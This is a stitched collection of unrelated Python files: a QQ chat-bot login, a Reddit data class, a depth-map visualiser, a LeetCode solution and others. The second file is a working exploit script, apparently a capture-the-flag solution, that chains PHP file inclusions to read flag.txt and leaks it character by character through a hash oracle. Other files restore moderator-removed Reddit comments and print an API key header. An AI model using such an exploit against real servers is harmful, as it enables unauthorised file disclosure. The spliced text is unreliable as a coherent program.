import http.cookiejar
import json
import random
import re
import time
import urllib.parse
import urllib.request
from api import api
from calculation import hash33, hash, getCookie, getGName, msgId

USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36'

# smartqq登录
class Login:
  def __init__(self, groupname):
    self.cookiejar = http.cookiejar.CookieJar()        # cookiejar
    self.opener = urllib.request.build_opener(         # opener
      urllib.request.HTTPCookieProcessor(self.cookiejar))

    self.token = None                                  # 二维码登录令牌
    self.image = None                                  # 二维码
    self.url = None                                    # 登录url

    self.name = None                                   # 登录的用户名
    self.ptwebqq = None                                # ptwebqq
    self.vfwebqq = None                                # vfwebqq
    self.psessionid = None                             # psessionid
    self.uin = None                                    # uin
    self.cip = None                                    # cip

    self.gnamelist = None                              # 获取群列表
    self.friends = None                                # 获取在线好友列表

    self.state = 0                                     # 当前登录状态
    self.groupname = groupname                         # 群名称

  # 下载二维码图片
  def downloadPtqr(self):
    request = urllib.request.Request(api['ptqr'] + str(random.random()), headers={
      'Connection': 'keep-alive',
      'User-Agent': USER_AGENT,
    })
    response = self.opener.open(request)
    self.image = response.read()
    print('Message: 二维码下载成功')

  # 将二维码图片写入缓存文件夹
  def writePtqr(self):
    file = open('./a扫描二维码快点别过期了.png', 'wb')
    file.write(self.image)
    file.close()
    print('Message: 扫描二维码')

  # 计算令牌
  def getToken(self):
    qrsig = getCookie(self.cookiejar, 'qrsig')
    self.token = hash33(qrsig)
    print('Message: 计算令牌')

  # 取出ptwebqq
  def getPyWebQQ(self):
    ptwebqq = getCookie(self.cookiejar, 'ptwebqq')
    self.ptwebqq = ptwebqq

  # 判断登录状态
  def isLogin(self, callback):
    request = urllib.request.Request(api['isLogin'] + str(self.token), headers={
      'Connection': 'keep-alive',
      'User-Agent': USER_AGENT,
    })
    response = self.opener.open(request)

    RE = re.compile(r'[^\'",()]+', re.I)
    res = response.read().decode()
    res2 = RE.findall(res)

    # 失效时重新获取二维码
    if res2[1] == '65':
      self.downloadPtqr()
      self.writePtqr()
      self.getToken()
    # 获取到二维码状态
    elif res2[1] == '0':
      self.name = res2[7]
      self.getPyWebQQ()
      self.url = res2[3]
      callback()
      self.state = 1

  # 登陆
  def login(self):
    request = urllib.request.Request(self.url, headers={
      'Connection': 'keep-alive',
      'User-Agent': USER_AGENT,
    })
    response = self.opener.open(request)

  # 重新登录
  def loginBrokenLineReconnection(self):
    self.login()
    self.getVfWebQQ()
    self.getPsessionAndUin()
    self.getFriends()
    self.getGroup()
    self.item = getGName(self.gnamelist, self.groupname)  # 获取群信息

  # 获取vfwebqq
  def getVfWebQQ(self):
    url = api['vfwebqq'] + self.ptwebqq
    request = urllib.request.Request(url, headers={
      'Referer': 'http://s.web2.qq.com/proxy.html?v=20130916001&callback=1&id=1',
      'Connection': 'keep-alive',
      'User-Agent': USER_AGENT,
    })
    response = self.opener.open(request)
    obj = json.loads(response.read().decode())
    self.vfwebqq = obj['result']['vfwebqq']

  # 获取psessionid和uin
  def getPsessionAndUin(self):
    data = urllib.parse.urlencode({
      'r': '{"ptwebqq": "' + self.ptwebqq + '", "clientid": 53999199, "psessionid": "", "status": "online"}'
    })
    request = urllib.request.Request(api['uin'], data=data.encode('utf-8'), headers={
      'Referer': 'http://d1.web2.qq.com/proxy.html?v=20151105001&callback=1&id=2',
      'Connection': 'keep-alive',
      'User-Agent': USER_AGENT,
    })
    response = self.opener.open(request)
    obj = json.loads(response.read().decode())
    self.psessionid = obj['result']['psessionid']
    self.uin = obj['result']['uin']
    self.cip = obj['result']['cip']

  # 获取群组
  def getGroup(self):
    try:
      data = urllib.parse.urlencode({
        'r': '{"vfwebqq":"' + str(self.vfwebqq) + '","hash":"' + hash(self.uin, self.ptwebqq) + '"}',
      })
      request = urllib.request.Request(api['group'], data=data.encode('utf-8'), headers={
        'Referer': 'http://s.web2.qq.com/proxy.html?v=20130916001&callback=1&id=1',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'keep-alive',
        'User-Agent': USER_AGENT,
      })
      response = self.opener.open(request)
      obj = json.loads(response.read().decode())
      self.gnamelist = obj['result']['gnamelist']
      print('Message: 获取群组')
    except:
      self.getGroup()

  # 获取在线好友列表
  def getFriends(self):
    try:
      url = api['friends'] + '?vfwebqq=' + str(
        self.vfwebqq) + '&clientid=53999199&psessionid=' + self.psessionid + '&t=' + str(time.time())
      request = urllib.request.Request(url, headers={
        'Referer': 'http://d1.web2.qq.com/proxy.html?v=20151105001&callback=1&id=2',
        'User-Agent': USER_AGENT,
      })
      response = self.opener.open(request)
      obj = json.loads(response.read().decode())
      self.friends = obj['result']
      print('Message: 获取在线好友列表')
    except:
      self.friends = []

  # 获取数据
  def getMessage(self):
    try:
      data = urllib.parse.urlencode({
        'r': '{"ptwebqq": "' + self.ptwebqq + '", "clientid": 53999199, "psessionid": "' + self.psessionid + '", "key": ""}',
      })
      request = urllib.request.Request(api['poll2'], data=data.encode('utf-8'), headers={
        'Content-Type': 'application/x-www-form-urlencoded',
        'Host': 'd1.web2.qq.com',
        'Origin': 'https://d1.web2.qq.com',
        'Referer': 'https://d1.web2.qq.com/cfproxy.html?v=20151105001&callback=1',
        'Connection': 'keep-alive',
      })
      response = self.opener.open(request, timeout=60)  # 60秒后收不到消息切断连接
      obj = json.loads(response.read().decode())
      return obj
    except:
      return {}

  # 发送数据
  def sendGroupMessage(self, message):
    # 发送数据
    try:
      data = urllib.parse.urlencode({
        'r': '{"group_uin":' + str(self.item['gid']) + ',"content":"' +
             '[\\"' + message + '\\",[\\"font\\",{\\"name\\":\\"宋体\\",\\"size\\":10,\\"style\\":[0,0,0],\\"color\\":\\"000000\\"}]]",' +
             '"face":333,"clientid":53999199,"msg_id":' + str(msgId()) + ',"psessionid":"' + self.psessionid + '"}',
      })
      request = urllib.request.Request(api['send'], data=data.encode('utf-8'), headers={
        'Referer': 'https://d1.web2.qq.com/cfproxy.html?v=20151105001&callback=1',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'keep-alive',
        'User-Agent': USER_AGENT,
      })
      response = self.opener.open(request)  # {"errCode":0,"msg":"send ok"}
    except:
      pass


#!/usr/bin/env python2

import requests
import string
from hashlib import sha256
import argparse

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('host', metavar='host', type=str)

    args = parser.parse_args()

    prefix = "1"

    files = ['94.php', '67.php', '90.php', '69.php', '45.php', '2.php', '56.php']

    file_inclusion_s = '&'.join([str(i + 1) + '=' + files[i] for i in xrange(len(files))])

    # Filenames will change
    start_url = "http://{}:8081?".format(args.host) + file_inclusion_s + "&xxx=flag.txt&fru=0&s=" + prefix

    # Start by deducing the length of the flag
    former = ""
    current = "a"
    count = 0

    print('[+] Calculating the length of the flag...')

    while former != current:
      count += 1
      former = current
      current = requests.get(start_url + "&tro=" + str(count)).text

    count -= 1

    print('[+] Flag is {0} characters long'.format(count))
    print('[+] Leaking the flag...')

    flag = ""

    for i in range(count):
      c_hash = requests.get(start_url + "&tro=" + str(i)).text
      for c in string.printable:
        h = sha256()
        h.update(prefix + flag + c)
        if h.hexdigest() == c_hash:
          print('[+] Found character {0} [{1}/{2}]').format(c, str(i + 1), str(count))
          flag += c
          break

    print('[+] Flag is ' + flag)

if __name__ == "__main__":
    main()


import json
from pprint import pprint
import pymongo
import os
from datasets import tqdm
from bson.json_util import dumps
from dotenv import load_dotenv
import pandas as pd
from datetime import datetime
from db_utils.FileReader import FileReader
from api_utils.PushshiftApi import PushshiftApi
from api_utils.reddit_api import reddit_api
import json
from bson.json_util import dumps

from text_analysis.Parser import Parser

load_dotenv()

'''
This class are responsible on the connection to our DB.
'''
'''
number of comments in all data = 107,365

dict key: post <-> value:comments number = 9858

removed posts = 7536

removed post that have comments = 4187
'''

class Con_DB:

    def __init__(self):
        self.myclient = pymongo.MongoClient(os.getenv("AUTH_DB"))
        self.posts_cursor = None
        self.file_reader = FileReader()
        # self.path = "/home/shouei/wallstreetbets_2020_full_.json"
        self.path = os.getenv('DATA_PATH')
        self.pushshift_api = PushshiftApi()
        self.reddit_api = reddit_api()
        self.parser = Parser()

    def setAUTH_DB(self, num):
        self.myclient = pymongo.MongoClient(os.getenv("AUTH_DB{}".format(num)))

    def get_posts_text(self, posts, name):
        return posts.find({'{}'.format(name): {"$exists": True}})

    def convert_time_format(self, comment_or_post):
        time = datetime.fromtimestamp(
            int(comment_or_post)).isoformat().split(
            "T")
        return time

    def get_data_cursor(self, source_name, source_type):
        if source_type == 'json':
            items = ijson.items(open("{}\{}.json".format(os.getenv("DATA_DIR"), source_name), 'rb'), 'item')
        elif source_type == 'mongo':
            items = self.myclient["reddit"][source_name]
        return items

    def get_cursor_from_mongodb(self, db_name="reddit", collection_name=os.getenv("COLLECTION_NAME")):
        '''
        This function is return the posts from mongoDB
        :argument db_name: name of the db that you want to connect. TYPE- str
        :argument collection_name: collection name inside your db name. TYPE- str
        :return: data from mongodb
        '''
        #         db_name = 'local'
        print("db_name", db_name)
        print("collection_name", collection_name)
        mydb = self.myclient[db_name]
        self.posts_cursor = mydb[collection_name]
        return self.posts_cursor
        # return self.file_reader.get_json_iterator(self.path)

    def searchConnectionByPostId(self, post_id):
        for i in range(1, 5):
            temp_id = self.setAUTH_DB(i)
            p = self.get_cursor_from_mongodb()
            post = p.find({"post_id": post_id})
            if post.count() == 0:
                continue
            else:
                return p

    '''
    :argument
    cursor -> The object from mongo to extract the relevent data from
    post_or_comment -> str that specify if to etract posts or comments from the cursor
    :returns
    post return Array that have the title and selftext
    comment return Array that the comments separated by '..', '...'
    '''

    def get_collections_name_from_db(self, db_name):
        return [collection for collection in self.myclient[db_name].list_collection_names()]

    def comments_to_dicts(self, comments, created):
        results = []  # create list for results
        # created = '2020-10-10'
        for comment in comments:  # iterate over comments
            if 'created_utc' in comment['data']:
                created = self.convert_time_format(comment['data']['created_utc'])[0]
            id = comment['data']['id']
            is_removed = self.is_removed(comment, "comment", "Removed")
            text = ''
            if "body" in comment["data"] and not comment['data']['body'].__contains__(
                    "[removed]") and comment['data']['body'] != "[deleted]":
                text = comment['data']['body']
            link_id = ['link_id'][2:]

            item = [[text, created, id, comment['data'], link_id, is_removed]]  # create list from comment

            if 'replies' in comment["data"] and len(comment['data']['replies']) > 0:
                replies = comment['data']['replies']['data']['children']
                item += self.comments_to_dicts(replies,
                                               created=created)  # convert replies using the same function item["replies"] =

            results += item  # add converted item to results
        return results  # return all converted comments

    def comments_to_lists(self, comments, created, link_id):
        results = []  # create list for results
        for comment in comments:  # iterate over comments
            if 'created_utc' in comment['data']:
                created = self.convert_time_format(comment['data']['created_utc'])[0]
            _id = comment['data']['id']
            is_removed = self.is_removed(comment, "comment", "Removed")
            text = ''
            if "body" in comment["data"] and not comment['data']['body'] == "[removed]" and comment['data'][
                'body'] != "[deleted]":  # we comment text from reddit. Not Removed content
                text = comment['data']['body']

            elif "body" in comment["data"] and comment['data'][
                'body'] == "[removed]":  # the comment was removed by mods
                text = comment['data']['body']
                # print('comment_id',  comment['data']['id'])
                # print('reddit comment content', comment['data']['body'])
                # print('reddit user', comment['data']['author'])
                # pushshift_comment = self.pushshift_api.get_comments_by_comments_ids(ids_list=[id])
                # text = [c for c in pushshift_comment][0]['body']
                # if text != '[removed]' and comment['data']['author'] != '[deleted]':
                #    all_user_commnets = self.reddit_api.get_user_commnets(reddit_user_name=comment['data']['author'])
                #    text = self.reddit_api.get_removed_comment_from_reddit(user_comments=all_user_commnets, removed_comment_id=id)
                # print('retrived comment from user profile', text)

            item = [[text, created, _id, link_id, is_removed]]  # create list from comment
            # item = [comment]
            if 'replies' in comment["data"] and len(comment['data']['replies']) > 0:
                replies = comment['data']['replies']['data']['children']
                item += self.comments_to_lists(replies, created=created,
                                               link_id=link_id)  # convert replies using the same function item["replies"] = k4lz6m

            results += item  # add converted item to results
        return results  # return all converted comments

    def get_text_from_post_OR_comment(self, _object, post_or_comment):
        if post_or_comment == 'post':
            id = _object['post_id']
            created = _object['reddit_api']['post']['created_utc'][0]
            text = _object['reddit_api']['post']['title']
            is_removed = self.is_removed(_object, "comment", "Removed")
            if "selftext" in _object['pushift_api'].keys() and _object['pushift_api']["selftext"] != "[removed]" \
                    and _object['pushift_api']["selftext"] != "[deleted]":
                text = text + " " + _object['pushift_api']["selftext"]
            text = self.parser.remove_URL(text)
            return [[text, created, id, is_removed]]

        elif post_or_comment == 'comment':
            # result = self.comments_to_lists(_object['reddit_api']['comments'], '2020-01-01', _object['post_id'])
            # if 'link_id' in _object['data']:
            #     result = self.comments_to_lists([_object], '2020-01-01', _object['data']['link_id'])
            # else:
            #     result = self.comments_to_lists([_object], '2020-01-01', "000")
            Id = _object['data']['id']
            if 'created_utc' in _object['data']:
                created = self.convert_time_format(_object['data']['created_utc'])[0]
                text = _object['data']['body']
                if 'pushshift_body' in _object['data'].keys() and _object['data']['pushshift_body'] != '':
                    text = _object['data']['pushshift_body']
                is_removed = self.is_removed(_object, "comment", "Removed")
            else:
                return [None]
            return [[text, created, Id, is_removed]]

    def insert_to_db(self, reddit_post):
        self.posts_cursor.insert_one(reddit_post)

    async def update_to_db(self, Id, reddit_post):
        myquery = {"post_id": Id}
        newvalues = {"$set": {"reddit_api": reddit_post}}
        self.posts_cursor.update_one(myquery, newvalues)

    def add_filed(self, data, filed_name='reddit_or_pushshift', collection_name=os.getenv("COLLECTION_NAME")):
        '''
           This function is adding filed to post at mongoDB
           :argument filed_name: name of the field you want to add. TYPE- str
           :argument data: TYPE- str
       '''
        posts_cursor = self.get_cursor_from_mongodb(collection_name=collection_name)
        for post in posts_cursor.find({}):
            posts_cursor.insert_one({"_id": post["_id"]}, {"$set": {filed_name: data}})

    def reorder_mongo(self, collection_name):
        posts_cursor = self.get_cursor_from_mongodb(collection_name=collection_name)
        relevent_data = {}
        for post in posts_cursor.find({}):
            print(post)
            relevent_data['t3_' + post['reddit_api'][0]['data']['children'][0]['data']['id']] = \
                post['reddit_api'][0]['data']['children'][0]['data']
            self.myclient.reddit_api.save({"_id": post['_id']}, {"$set": {"reddit_api": [{0: relevent_data}]}})
            relevent_data.clear()

    ''' This function set the self text that was removed from reddit and insert it to the pushsift section'''

    def set_removed_comments_in_mongo(self):
        post_id_removed_comments = {}
        self.get_cursor_from_mongodb()
        update_cursor = self.posts_cursor
        posts_number = 0
        comment_number = 0
        # for obj in self.posts_cursor.find({}):
        #     post_id_removed_comments[obj['post_id']] = []
        #     comments = self.comments_to_lists(obj['reddit_api']['comments'], '2020-01-01', obj['post_id'])
        #     for comment in comments:
        #         if comment[0] == '[removed]' and comment[-1] == True:
        #             post_id_removed_comments[obj['post_id']].append(comment[2])
        #     if len(post_id_removed_comments[obj['post_id']]) == 0:
        #         del post_id_removed_comments[obj['post_id']]
        #         continue
        #     else:
        #         ids = post_id_removed_comments[obj['post_id']]
        #         try:
        #             pushshift_comments = self.pushshift_api.get_comments_by_comments_ids(ids_list=ids)
        #         except:
        #             continue
        #         pushshift_comments = [c for c in pushshift_comments]
        #         id_to_comment_body = {}
        #         for pushshift_comment in pushshift_comments:
        #             id_to_comment_body[pushshift_comment['id']] = pushshift_comment['body']
        #         posts_number += 1
        #         print("posts_number", posts_number)
        #         comment_number += len(pushshift_comments)
        #         print("comment_number", comment_number)
        #         update_cursor.update_one({"_id": obj['_id']}, {"$set": {"body_removed_comment": id_to_comment_body}})
        removed_comments_iter = self.posts_cursor.find({"data.body": "[removed]"})
        removed_comments_ids_from_pushshift = [c['data']['id'] for c in removed_comments_iter]
        pushshift_comments = self.pushshift_api.get_comments_by_comments_ids(
            ids_list=removed_comments_ids_from_pushshift)
        pushshift_comments = [(c['id'], c['body']) for c in pushshift_comments if
                              c['body'] != '[removed]' and (c['body'] != '')]
        for comment_id, comment_body in pushshift_comments:
            if comment_number % 1000 == 0:
                print("comment_number - retrived", comment_number)
            # post_id_removed_comments[obj['post_id']] = []
            # comments = self.comments_to_lists(obj['reddit_api']['comments'], '2020-01-01', obj['post_id'])
            # for comment in comments:
            #     if comment[0] == '[removed]' and comment[-1] == True:
            #         post_id_removed_comments[obj['post_id']].append(comment[2])
            # if len(post_id_removed_comments[obj['post_id']]) == 0:
            #     del post_id_removed_comments[obj['post_id']]
            #     continue
            # else:
            #     ids = post_id_removed_comments[obj['post_id']]
            #     try:
            #         pushshift_comments = self.pushshift_api.get_comments_by_comments_ids(ids_list=ids)
            #     except:
            #         continue
            #     pushshift_comments = [c for c in pushshift_comments]
            #     id_to_comment_body = {}
            #     for pushshift_comment in pushshift_comments:
            #         id_to_comment_body[pushshift_comment['id']] = pushshift_comment['body']
            #     posts_number += 1
            # print("posts_number", posts_number)
            comment_number += 1
            # print("comment_number", comment_number)
            update_cursor.update_one({"data.id": comment_id}, {"$set": {"data.pushshift_body": comment_body}})
        print("comment_number - retrived", comment_number)
        print("DONE")

    def chose_relevant_data(self, collection_name):
        posts_cursor = self.get_cursor_from_mongodb(collection_name=collection_name)
        for post in posts_cursor.find({}):

            reddit_post = post['reddit_api']['post']['selftext']
            pushshift_post = post['pushift_api']['selftext']

            reddit_condition = reddit_post == '' or reddit_post == '[deleted]' \
                               or reddit_post == '[removed]'

            pushshift_condition = pushshift_post != '' and pushshift_post != '[deleted]' \
                                  and pushshift_post != '[removed]'

            pushshift_removed = pushshift_post == '[removed]'

            if reddit_condition and pushshift_condition:
                self.add_filed(data='pushift_api')
            elif pushshift_removed and not reddit_condition:
                self.add_filed(data='reddit_api')
            else:
                self.add_filed(data='reddit_api')

    # def get_specific_items_by_post_ids(self, ids_list, post_or_comment_arg):
    #    # file_reader_new = FileReader()
    # data_cursor = file_reader_new.get_json_iterator(self.path)
    #    data_cursor = self.posts_cursor.find(
    #       {u'pushift_api.id': {'$in': ids_list}}
    #    )
    #    text_and_date_list = []
    #    for item in data_cursor:
    #        if item['pushift_api']['id'] in ids_list:
    #            text_and_date_list.append(self.get_text_from_post_OR_comment(item, post_or_comment=post_or_comment_arg))
    #    return text_and_date_list  # [title , selftext ,created_utc, 'id']

    def get_posts_by_ids(self, posts_ids):
        posts_cursor = self.get_cursor_from_mongodb(collection_name=os.getenv("COLLECTION_NAME"))
        return self.posts_cursor.find(
            {u'pushift_api.id': {'$in': posts_ids}}
        )

    def get_specific_items_by_object_ids(self, ids_list, post_or_comment_arg):
        if post_or_comment_arg == 'post':
            file_reader_new = FileReader()
            # db_name = 'local'
            # mydb = self.myclient[db_name]
            # posts_cursor = mydb[os.getenv("COLLECTION_NAME")]
            # posts_cursor = self.posts_cursor
            # data_cursor = file_reader_new.get_json_iterator(self.path)
            data_cursor = self.posts_cursor.find(
                {u'post_id': {'$in': ids_list}}
            )
            text_and_date_list = []
            for item in data_cursor:
                if item['post_id'] in ids_list:
                    text_and_date_list.append(
                        self.get_text_from_post_OR_comment(item, post_or_comment=post_or_comment_arg))
        else:
            text_and_date_list = []
            pushshift_comments = self.pushshift_api.get_comments_by_comments_ids(ids_list)
            created = ''
            for comment in pushshift_comments:
                if 'created_utc' in comment:
                    created = self.convert_time_format(comment['created_utc'])[0]
                id = comment['id']
                comment_data = {'data': comment}
                is_removed = self.is_removed(comment_data, "comment", "Removed")
                text = ''
                if "body" in comment and not comment['body'].__contains__(
                        "[removed]") and comment['body'] != "[deleted]":
                    text = comment['body']
                link_id = comment['link_id'][3:]
                text_and_date_list.append([text, created, link_id, id, is_removed])

        return text_and_date_list  # [text, created, link_id, id, is_removed]

    def get_specific_items_by_object_ids_from_json(self, ids_list, post_or_comment_arg):

        if post_or_comment_arg == 'post':
            file_reader_new = FileReader()
            data_cursor = file_reader_new.get_json_iterator(self.path)
            # data_cursor = self.posts_cursor.find(
            #    {u'pushift_api.id': {'$in': ids_list}}
            # )
            text_and_date_list = []
            for item in data_cursor:
                if item['post_id'] in ids_list:
                    text_and_date_list.append(
                        self.get_text_from_post_OR_comment(item, post_or_comment=post_or_comment_arg))
        else:
            text_and_date_list = []
            pushshift_comments = self.pushshift_api.get_comments_by_comments_ids(ids_list)
            created = ''
            for comment in pushshift_comments:
                if 'created_utc' in comment:
                    created = self.convert_time_format(comment['created_utc'])[0]
                id = comment['id']
                comment_data = {'data': comment}
                is_removed = self.is_removed(comment_data, "comment", "Removed")
                text = ''
                if "body" in comment and not comment['body'].__contains__(
                        "[removed]") and comment['body'] != "[deleted]":
                    text = comment['body']
                link_id = comment['link_id'][3:]
                text_and_date_list.append([text, created, link_id, id, is_removed])

        return text_and_date_list  # [text, created, link_id, id, is_removed]

    ''' return posts by category'''

    def get_data_categories(self, category, collection_name):
        posts = self.get_cursor_from_mongodb(db_name="reddit", collection_name=collection_name)
        posts_to_return = []
        for post in posts.find({}):
            if 'selftext' in post['pushift_api'].keys():
                if category == "Removed":
                    if post['reddit_api']['post']['selftext'] == "[removed]":
                        posts_to_return.append(post)

                elif category == "NotRemoved":
                    if post['reddit_api']['post']['selftext'] != "[removed]":
                        posts_to_return.append(post)

                elif category == "All":
                    posts_to_return.append(post)
        return posts_to_return

    def is_removed(self, post, post_comment, category):
        if post_comment == "post":
            if 'selftext' in post['reddit_api']['post'].keys():
                if category == "Removed":
                    if post['reddit_api']['post']['is_robot_indexable'] == False:
                        if post['reddit_api']['post']['selftext'] == "[removed]":
                            return True
                        elif post['reddit_api']['post']['selftext'].__contains__('[removed]'):
                            return True  # this is pool
                        elif post['reddit_api']['post']['selftext'] == '':
                            return True  # blanked
                        else:
                            return True  # shadow ban

                    return False  # exists

                    if not post['reddit_api']['post']['selftext'].__contains__('[deleted]'):
                        return not post['reddit_api']['post']['is_robot_indexable']
                    return False
            # if 'selftext' in post['reddit_api']['post'].keys():
            #     if category == "Removed":
            #         if post['reddit_api']['post']['selftext'].__contains__('[removed]'):
            #             return True
            #         return False
            #     elif category == "NotRemoved":
            #         if not post['reddit_api']['post']['selftext'].__contains__('[removed]'):
            #             return True
            return not post['reddit_api']['post']['is_robot_indexable']
        elif post_comment == "comment":
            if 'body' in post['data'].keys():
                if category == "Removed":
                    if post['data']['body'] == '[removed]':
                        return True
                    return False
                elif category == "NotRemoved":
                    if not post['data']['body'] == '[removed]':
                        return True
            return True  # was False and shai change to True because if there is no body so it was removed

    '''
       This function reading Data from CSV file
       :argument path - path to csv file in this computer
       :return rows from csv
    '''

    def read_fromCSV(self, path):
        df = pd.read_csv(path, encoding='UTF8')
        return df

    '''
    This function making a json file from topic's csv file.
    the function filtering the large collection in MongoDB of full posts wsb 2020 and export the collection after filtering to JSON file
    :argument path_to_csv - full path to csv file of specific topic
    :argument path_to_save_json - full path of directory of saving the json file
    :argument collection_name - the name of collection(must be exactly the same name that wrote in MongoDB)
    '''

    def fromCSVtoJSON(self, path_to_csv, path_to_save_json, collection_name):
        topic_csv = self.read_fromCSV(path_to_csv)
        posts = self.get_cursor_from_mongodb(collection_name=collection_name)
        dff = list(topic_csv["post_id"].unique())
        with open('{}/{}.json'.format(path_to_save_json, collection_name), 'w') as file:
            cursor = posts.find({'post_id': {'$in': dff}}).max_time_ms(1000000)
            file.write('[')
            for document in cursor:
                file.write(dumps(document))
                file.write(',')
            file.write(']')

    def read_posts_from_mongo_write_to_json(self, ids_list, file_name):
        path = os.getenv('NER_POSTS_FOLDER') + file_name
        posts = self.get_specific_items_by_object_ids_from_mongodb(ids_list=ids_list, post_or_comment_arg='posts')
        self.file_reader.write_dict_to_json(path=path, file_name=file_name, dict_to_write=posts.__dict__)

    def get_post_id_from_json_and_write_full_posts(self):
        path = os.getenv('NER_POSTS_FOLDER') + 'True_NER_per_month.json'
        dict_file = self.file_reader.read_from_json_to_dict(path)
        for key, val in dict_file.items():
            for NER, v in val.items():
                cursor = self.get_cursor_from_mongodb()
                NER_TYPE = NER + "_" + v[0][0]
                post_from_mongo = self.get_full_data_by_object_ids_from_mongodb(ids_list=v[1][1], post_or_comment_arg='post',
                                                                                NER_TYPE=NER_TYPE)
                NER_POSTS_FOLDER=''
                path = NER_POSTS_FOLDER + "NER_posts\\Posts_full"
                file_name = NER_TYPE + ".json"
                self.file_reader.write_dict_to_json(path=path,file_name=file_name, dict_to_write=post_from_mongo)

    def get_NER_full_post_data(self, NER_TYPE):
        path = os.getenv('NER_POSTS_FOLDER') + NER_TYPE
        return self.file_reader.read_from_json_to_dict(PATH=path)

# con_db = Con_DB()
# cursor = con_db.get_cursor_from_mongodb()
# data = con_db.get_specific_items_by_object_ids(ids_list=['eici5m'], post_or_comment_arg='post')
# print(data)


""" Visualize input image, ground truth depth, prediction from baseline and prediction from our model.
"""
import numpy as np
import matplotlib.pyplot as plt
import cv2
import sys, os

project_dir = '/local2/workspace/GeoSup'
sys.path.insert(0, project_dir)
from GeoNet.visma_validator import Validator

validation_dir = '/local2/Data/VOID'
validation_list = os.path.join(project_dir, 'GeoNet/data/void/test.txt')
EPS = 0.0001
BAR_WIDTH = 20
vmin = 0.7
vmax = 1.2
err_vmin = 0.02
err_vmax = 0.7
# save_list = [14, 26, 27, 51, 75, 98, 136, 164, 467, 496]
# save_list = [136]   # the one used in slides

save_list = []

def configure_plt():
    plt.box(False)
    plt.axis('off')

def draw_colorbar():
    """ Draw the colorbar for range maps.
    """
    print('draw colorbar')
    depth_bar = np.tile(np.linspace(vmin, vmax, 100), (BAR_WIDTH, 1))
    depth_bar = np.flipud(depth_bar.T)
    plt.imshow(depth_bar, cmap='jet')
    plt.box(False)
    plt.axis('off')
    plt.show()

if __name__ == '__main__':
    if sys.argv[1] == 'colorbar':
        draw_colorbar()
        exit(0)

    preds = [np.load(filename) for filename in sys.argv[1:]]
    tags = ['GeoNet', 'GeoNet+SIGL']
    num_models = len(preds)
    if num_models == 0:
        raise ValueError('no model to visualize')
    validator = Validator(val_dir=validation_dir,
            val_list=validation_list,
            match_scale=True,
            which_camera='realsense')

    for i, filename in enumerate(validator.filenames):
        if len(save_list) > 0 and i not in save_list: continue
        mask = validator.masks[i]
        depth = validator.gt[i]
        median_depth = np.median(depth[mask])
        image = plt.imread(filename)
        height, width = image.shape[0], image.shape[1] // 3
        image = image[:, width:width*2, :]
        image = image[:,:,::-1]
        if len(save_list) > 0:
            plt.imsave('{:04}_image.jpg'.format(i), image)

        # total_plots = 2*num_models + 2
        plt.subplot(2, num_models+1, 1)
        plt.imshow(image)
        configure_plt()

        plt.subplot(2, num_models+1, num_models+2)
        plt.imshow(1.0/(depth+EPS), cmap='jet', vmin=vmin, vmax=vmax)
        configure_plt()
        if len(save_list) > 0:
            plt.imsave('{:04}_gt.jpg'.format(i), 1.0/(depth+EPS), cmap='jet', vmin=vmin, vmax=vmax)

        for j in range(num_models):
            pred = preds[j][i, ...]
            pred = cv2.resize(pred, (width, height))
            # median matching
            pred *= median_depth / np.median(pred[mask])
            plt.subplot(2, num_models+1, 2+j)
            inv_depth = 1.0 / (pred+EPS)
            plt.imshow(inv_depth, cmap='jet', vmin=vmin, vmax=vmax)
            configure_plt()
            if len(save_list) > 0:
                plt.imsave('{:04}_pred_{}.jpg'.format(i, tags[j]), inv_depth, cmap='jet', vmin=vmin, vmax=vmax)

            plt.subplot(2, num_models+1, num_models + 3 + j)
            absrel = np.abs(depth - pred) / (depth + EPS)
            plt.imshow(absrel, cmap='hot', vmin=err_vmin, vmax=err_vmax)
            configure_plt()
            if len(save_list) > 0:
                plt.imsave('{:04}_absrel_{}.jpg'.format(i, tags[j]), absrel, cmap='hot', vmin=err_vmin, vmax=err_vmax)

        print(i)
        plt.subplots_adjust(hspace=0.05)
        plt.show()


from pypika import Query, Schema, CustomFunction
import httpx
from dotenv import load_dotenv
import os
import pandas as pd

load_dotenv()

API_KEY_HEADER = os.environ.get("API_KEY_HEADER")
API_HEADER_CUSTOMER = os.environ.get("API_HEADER_CUSTOMER")
API_HEADER_ORIGINATOR = os.environ.get("API_HEADER_ORIGINATOR")
API_URL = os.environ.get("API_URL")

print(API_KEY_HEADER)
def main():
    distinct = CustomFunction('DISTINCT', ['*'])
    aqueon = Schema('aqueon')
    q = Query.from_(
        getattr(aqueon, 'fit_info')
    ).select(distinct(aqueon.fit_info.casename)).limit(5)

    headers = {
        'x-api-key': os.environ.get("API_KEY"),
        'customer': os.environ.get("API_CUSTOMER"),
        'originator': os.environ.get("API_ORIGINATOR"),
        "Content-Type": "text/plain",
        "Accept": "application/json;q=1.0,application/json;q=0.9,*/*;q=0.8"
    }
    print(q.get_sql())
    with httpx.Client(timeout=30) as client:
        response = client.post(
            f'{API_URL}/dataexplorer/query/tachyus',
            headers=headers,
            data=q.get_sql()
        )

    print(response.url)
    if response.status_code == 200:
        df = pd.DataFrame(response.json())
        print(df)
    else:
        print(response.status_code)
        print(response.text)

if __name__ == '__main__':
    main()


from typing import List

class Solution:
    def rob(self, nums: List[int]) -> int:
        # 思路是排列所有可能，取最大值
        if len(nums) == 0:
            return 0

        limit = len(nums)
        # lst = [0]
        max_result = -1
        num = nums[0]

        def solve(start):
            nonlocal max_result, num
            fired = False
            for i in range(start + 2, limit):
                # lst.append(i)
                num += nums[i]
                solve(i)
                num -= nums[i]
                # lst.pop()
                fired = True

            if not fired:
                # ret = sum(map(lambda x: nums[x], lst))
                # print(num)
                max_result = max(max_result, num)

        solve(0)
        if len(nums) > 1:
            num = nums[1]
            solve(1)
        print(max_result)
        return max_result


import tools
import numpy as np
import random
import copy
import algo_MC
import diffusionModel

# methods of Modified-OPIM-C
def reverseSearch(graph, root, task, taskWeights):
    searchSet = set()
    queue = []
    queue.append(root)
    searchSet.add(root)
    while len(queue) != 0:
        current_node = queue.pop(0)
        parentss = graph.get_parentss(current_node)
        for parent in parentss:
            if parent not in searchSet:
                rate = taskWeights[task]
                if tools.isHappened(rate):
                    searchSet.add(parent)
                    queue.append(parent)
    return searchSet

